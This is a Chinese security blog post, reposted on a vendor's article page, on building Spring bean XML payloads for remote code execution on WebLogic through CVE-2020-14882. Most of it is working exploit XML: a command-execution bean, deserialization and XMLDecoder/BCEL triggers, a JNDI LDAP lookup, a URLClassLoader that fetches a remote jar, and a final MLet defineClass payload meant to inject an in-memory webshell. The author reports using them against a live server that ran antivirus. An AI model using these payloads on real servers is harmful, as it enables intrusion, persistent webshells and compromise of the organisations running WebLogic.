长亭百川云 - 文章详情

weblogic下spring bean RCE的一些拓展

回忆飘如雪

54

2024-07-13

 0x00 

背景

有一次通过CVE-2020-14882漏洞打了一台Windows上的weblogic 10.3.6.0,服务器上有杀软。由于公开的如下spring bean payload只能执行命令,拿权限很困难。

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">   <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">     <constructor-arg>       <list>         <value>cmd</value>         <value>/c</value>         <value><![CDATA[calc]]></value>       </list>     </constructor-arg>   </bean> </beans>

只能思考如何构造可以执行任意代码的spring bean xml来一键注入内存马了。

weblogic下spring bean执行任意代码的主要困局是weblogic下的spring不支持spel表达式,导致我们无法通过spel表达式来执行任意代码来。

同时这里顺便提一嘴,个人认为好的payload应该有以下3个特点。

1. 兼容性高

2. 利用复杂度低

3. 简洁体积小

接下来将以这几点要求,分享下构造该系列payload的过程,这也是我在编写woodpecker利用插件时经常经历的过程与思考。

 0x01 

init-method系列payload

目前公开的payload是将恶意数据传入构成函数,然后通过init-method来调用一个无参数构造方法来触发。按照这个条件,我找到了两个可以执行代码的class。

1.2 UnitOfWorkChangeSet

在weblogic 10.3.6.0版本有一个oracle.toplink.internal.sessions.UnitOfWorkChangeSet类,构造函数可以直接触发反序列化。

<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">     <bean id="pb" class="oracle.toplink.internal.sessions.UnitOfWorkChangeSet">         <constructor-arg>             <list>                 <!-- 反序列化gadget序列化数据 -->                 <value type="byte">-84</value>                 <value type="byte">-19</value>                 <value type="byte">0</value>                 <value type="byte">5</value>                 ......             </list>         </constructor-arg>     </bean> </beans>

但是这个payload需要有gadget才能任意代码执行,显然不是很完美。

1.2 XmlDecoder

在使用XMLDecoder反序列化时,我们是将xml序列化内容以流的形式传入构造函数,然后再调用readObject无参构造方法进行反序列化。所以我们我们完全可以通过XMLDecoder反序列化执行becl代码来实现任意代码执行。

String xml = "<java><void class =\"com.sun.org.apache.bcel.internal.util.ClassLoader\"><void method=\"loadClass\"><string>$$BCEL$$$l$8b......</string><void method=\"newInstance\"></void></void></void></java>"; ByteArrayInputStream inputStream = new ByteArrayInputStream(xml.getBytes()); XMLDecoder xmlDecoder = new XMLDecoder(inputStream); xmlDecoder.readObject();

把上面代码转成spring bean如下:

<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">     <bean id="pb" class="java.beans.XMLDecoder" init-method="readObject">         <constructor-arg>             <bean id="x" class="java.io.ByteArrayInputStream" >                 <constructor-arg>                     <list>                         <!-- xml序列化内容 -->                         <value type="byte">60</value>                         <value type="byte">106</value>                         <value type="byte">97</value>                         <value type="byte">118</value>                         <value type="byte">97</value>                         <value type="byte">62</value>                         ......                     </list>                 </constructor-arg>             </bean>         </constructor-arg>     </bean> </beans>

这个payload看着确实要通用很多,但是体积太大了,注入一个内存马的xml要六百多k。在本地没有问题,但在实战环境上没有成功,当时感觉可能是体积太大的问题。所以只能思考如何减少体积。

 0x02 

factory-method系列payload

后来发现通过init-method来构造payload,限制有点多,人工找class成本有点大。摆在我面前的有两条路

1. 编写gadgetinspector规则挖掘符合条件的class

2. 再翻翻官方文档,看看有没有可能直接调用有参数方法。

很显然挖链成本高一些,于是我打算先走第二条路,走不通就只能死磕第一条路了。在看官方文档时,我着重关注如下涉及方法调用的标签和属性。

标签/属性

分析

调用构造器

创建bean时,可调setter方法

init-method

bean初始化时,可以调用一个无参方法

destroy-method

bean被销毁时,可以调用一个无参方法

lookup-method

可以控制返回结果,但是weblogic没有cglib库,这个标签没发用

replace-method

任意方法替换,可以替换某些方法的实现逻辑为另一个方法,但是xml无法定义替换逻辑

factory-method

通过调用工厂方法创建bean,可调用返回值不为void的有参方法,静态和非静态都可以

很显然factory-method非常符合我们的要求,构造起payload就轻松多了。

2.1 jndi

<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">     <bean class="javax.naming.InitialContext" factory-method="doLookup">         <constructor-arg type="java.lang.String" value="ldap://127.0.0.1:1664/exp"/>     </bean> </beans>

jndi有jdk版本限制,so继续优化。

2.2 loadjar

<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">     <bean id="classLoader" class="java.net.URLClassLoader" >         <constructor-arg>             <list>                 <value type="java.net.URL">http://127.0.0.1:1664/exp.jar</value>             </list>         </constructor-arg>     </bean>     <bean id="clazz" factory-bean="classLoader" factory-method="loadClass">         <constructor-arg type="java.lang.String" value="InjectMemshell"/>     </bean>     <bean factory-bean="clazz" factory-method="newInstance">     </bean> </beans>

加载class要通用很多,只是需要搭一个http服务比较繁琐,利用上不是很方便,so继续优化。

2.3 bcel

new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("$$BCEL$$$...").newInstance();

代码转换为spring bean:

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd ">     <bean id="classloader" class="com.sun.org.apache.bcel.internal.util.ClassLoader"/>     <bean id="clazz" factory-bean="classloader" factory-method="loadClass">         <constructor-arg type="java.lang.String" value="$$BCEL$$$......"/>     </bean>     <bean factory-bean="clazz" factory-method="newInstance">     </bean> </beans>

有的JDK版本bcel被去掉了,so还得继续构造。

2.4 java.lang.ClassLoader#defineClass

java下执行代码要说兼容性最好,当然还得是java.lang.ClassLoader#defineClass。接下来只需要思考如何把下面的代码,用sprng bean来表达即可。

byte[] clazzBytes = new byte[]{-54,-2,-70,-66,0,......}; Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class clazz = (Class)defineClass.invoke(new MLet(),clazzBytes,0,clazzBytes.length); clazz.newInstance();

通过研究发现一个小细节,spring bean可以调用私有方法无需反射。这就很方便了,可以直接调用当前class及其所有父类的方法。

构造过程还遇到一个问题,使用标签存储class字节码导致payload要大很多。当然有的人会想的用weblogic.utils.Hex来编码,其实Base64编码体积更小。由于不同版本JDK下Base64 api有变化,为了通用我打算去weblogic下找,并着重考虑weblogic.*包名下的。最后找到了如下两个,不过1没有被当前classloader加载,只能选择2。

1. weblogic.servlet.utils.Base64

2. weblogic.utils.encoders.BASE64Decoder

最终优化如下,大概就是目前我觉得最好的payload了。如果你有更好的payload欢迎留言交流。

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd ">     <bean id="decoder" class="weblogic.utils.encoders.BASE64Decoder"/>     <bean id="clazzBytes" factory-bean="decoder" factory-method="decodeBuffer">         <constructor-arg type="java.lang.String" value="yv66vgAAA......"/>     </bean>     <bean id="classLoader" class="javax.management.loading.MLet"/>     <bean id="clazz" factory-bean="classLoader" factory-method="defineClass">         <constructor-arg type="[B" ref="clazzBytes"/>         <constructor-arg type="int" value="0"/>         <constructor-arg type="int" value="10692"/>     </bean>     <bean factory-bean="clazz" factory-method="newInstance"/> </beans>

顺便写一个woodpecker插件留以后备用,美如画。

 0x03 

参考文章

1.https://docs.spring.io/spring-framework/docs/current/reference/html/core.html#beans-dependencies

2.https://www.cnblogs.com/happyflyingpig/p/8047441.html

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2